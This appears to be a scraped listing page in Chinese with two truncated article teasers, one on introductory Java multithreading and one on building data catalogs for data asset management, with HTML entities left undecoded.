本文标题&#xff1a;Java进行多线程编程&#xff1f;那么&#xff0c;Java为啥不学学如何进程多进程编程呢&#xff1f;&#xff1f;原因在于&#xff1a;Java圈子中不提倡多进程编程~~ 接下来&#xff0c;我们来写一个最为基础/入门的HelloWord程序来感受如何进行多线程~~ J…

数据资产管理:数据目录怎么搞?

经过了站在业务视角的自上而下的数据梳理&#xff0c;以及站在IT视角的自下而上的数据盘点&#xff0c;一套“热腾腾”的数据资产清单终于新鲜出炉了。 通过数据资产盘点&#xff0c;企业终于知道他们拥有哪些数据、如何使用数据、是否安全以及数据在哪里。 然而&#xff0c;据…